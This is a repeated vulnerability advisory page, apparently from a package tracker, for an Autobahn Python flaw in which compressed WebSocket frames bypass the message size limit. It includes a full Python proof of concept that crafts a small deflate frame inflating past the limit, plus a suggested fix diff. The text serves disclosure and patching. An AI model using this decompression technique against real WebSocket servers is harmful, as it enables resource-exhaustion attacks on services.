+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jan 12, 2019

18.12.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Dec 05, 2018

18.11.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Nov 24, 2018

18.11.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
